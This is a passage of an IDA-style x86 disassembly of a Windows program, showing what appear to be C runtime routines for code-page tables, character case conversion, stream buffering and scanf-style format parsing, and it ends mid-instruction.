CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43CCD0 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi call dword_4271CC ; GetCPInfo cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DCEA0 cmp [ebp+var_18], 1 mov dword_4DCD84, esi rep stosd stosb mov dword_4DCFA4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DCEA1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DCEA0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43CBF0[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43CBD8[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DCEA1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DCD9C, 1 push eax mov dword_4DCD84, eax call sub_42008C lea esi, dword_43CBE4[esi] mov edi, offset dword_4DCD90 movsd movsd pop ecx mov dword_4DCFA4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DCEA1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DCFA4, eax mov dword_4DCD9C, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DCD9C, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DCD90 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB9C0, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB9C0, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB9C0, 1 jmp dword_427060 ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB9C0, 1 jmp dword_4271D0 ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DBA04 mov dword_4DB9C0, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DCEA0 rep stosd stosb xor eax, eax mov edi, offset dword_4DCD90 mov dword_4DCD84, eax mov dword_4DCD9C, eax mov dword_4DCFA4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DCD84 call dword_4271CC ; GetCPInfo cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DCFA4 push dword_4DCD84 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DCD84 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DCFA4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DCD84 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DCFA4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DCEA1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DCDA0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DCEA1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DCDA0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DCEA1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DCDA0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DCEA1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DCDA0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: sub_422E72+9p ; sub_422ECA+Dp ... cmp dword_4DCFD4, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DCFD4, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DCD9C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DCEA1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB9F4, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43CBC4, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C9B8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C9B8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB9F4 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB93C, ecx mov eax, offset dword_43CCD0 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43CE38 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB938, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43CCD4[edx*8] mov dword_4DB938, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB938, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB938, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43D0C8 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43D0E8 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DBB20 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB9C4[eax*4], 0 push ebx push edi lea edi, ds:4DB9C4h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43CBC4, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C9B8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43CBC4, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C9B8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43CBC4, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C9B8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43CBC8, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43CBC8 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43CBC4, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C9B8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43CBC4, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C9B8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43CF68 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43CE40 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov 